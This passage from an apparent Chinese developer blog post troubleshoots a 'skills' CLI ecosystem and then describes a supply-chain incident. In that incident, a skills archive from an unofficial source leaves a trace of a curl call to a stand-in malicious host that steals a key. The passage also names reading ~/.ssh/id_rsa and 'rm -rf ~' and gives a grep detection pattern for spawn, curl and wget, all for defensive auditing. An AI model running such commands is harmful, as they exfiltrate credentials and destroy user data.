Cannot find module skills/core。根因分析npx在执行skills/cli时会尝试require(skills/core)。如果skills/core没有被skills/cli的package.json声明为dependenciesnpx就无法自动安装它。这是一个典型的peerDependencies管理疏漏。排查链路查看skills/cli的package.json确认skills/core是否在dependencies或peerDependencies中执行npx skills/clilatest --version看是否能正常输出版本号。如果不能说明skills/cli本身就有问题手动安装skills/corenpm install -g skills/core然后再试npx skill add。根治方案这是skills/cli包的一个已知 issue见 GitHub issue #127。临时解决方案是先全局安装skills/core再使用npx长期方案是等待skills/cli发布修复版或直接使用npm install -g skills/cli全局安装 CLI这样skills/core会被作为依赖一并安装。4.5 坑五前任.skills下载引发的权限与安全审计现象团队成员从非官方渠道如论坛、网盘下载了名为qianren-skills的压缩包并执行npx skill add ./qianren-skills.zip。几天后CI 流水线开始莫名失败日志中出现curl https://malicious-site.com/steal-key的痕迹。根因分析skills的执行逻辑是 JavaScript拥有与宿主工具同等的系统权限。一个恶意 skills 可以读取~/.ssh/id_rsa、修改~/.gitconfig、甚至执行rm -rf ~。前任.skills这类非官方来源极可能被植入后门。排查链路立即检查~/.skills/registry/目录找到qianren-skills的安装路径审查其capabilities/*/下的所有.js文件重点关注require(child_process)、require(fs)、require(http)等高危模块的调用使用grep -r exec\|spawn\|fork\|curl\|wget ~/.skills/registry/qianren-skills/快速定位可疑代码检查skill.manifest.json中的homepage和author字段是否指向不可信域名。根治方案强制签名验证在团队中推行skills的 GPG 签名。发布者用私钥对skill.manifest.json签名使用者用公钥验证。skills/cli已支持--verify-signature参数沙箱执行为skills/core配置--sandbox模式限制其只能访问~/.skills目录和当前项目目录禁止网络访问和系统调用白名单策略在 CI 流水线中添加一个检查步骤npx skill list --json | jq .[] | select(.name | contains(qianren))如果返回非空则立即失败。5. 未来演进从superpower skills到开发者能力经济skills的当前形态是一个强大的工具集但它真正的潜力远不止于此。当我看到superpower skills这个热词时我意识到它暗示的是一种范式的转移开发者能力正从“个人隐性资产”走向“可量化、可交易、可组合的显性商品”。5.1 能力的原子化与组合今天的skills大多还停留在“单点突破”层面一个 skills 解决一个问题。未来的方向是“能力原子化”。想象一下http-security-header不再是一个整体而是被拆分为x-content-type-options单一头注入x-frame-options单一头注入csp-builder一个交互式 CLI用于生成 CSP 策略header-validator一个静态分析器检查代码中是否遗漏了安全头这些原子能力可以通过skill.manifest.json中的provides和requires字段进行声明式组合。例如一个full-stack-securityskills 的 manifest 可能这样写{ name: full-stack-security, provides: [security-policy], requires: [ x-content-type-options^1.0.0, x-frame-options^1.0.0, csp-builder^2.1.0 ] }skills/core在加载时会自动解析依赖树确保所有 required 的原子 skills 都已安装并启用。这就像 npm 的依赖管理但管理的是“能力”而非“代码包”。5.2 能力的市场与经济github是代码的集市npm是包的集市而skills的终极形态将是“能力的集市”。skills.market这样的平台已经初现雏形。在那里dietrichgebert不再只是免费分享ponytail他可以将ponytail-pro作为付费版本发布包含更严格的规则集和企业级支持为baoyu-skills的数学建模能力设置按次调用的微支付使用 Stripe 或 Crypto创建一个skills订阅计划用户每月支付 $9.99即可解锁所有math-modeling、>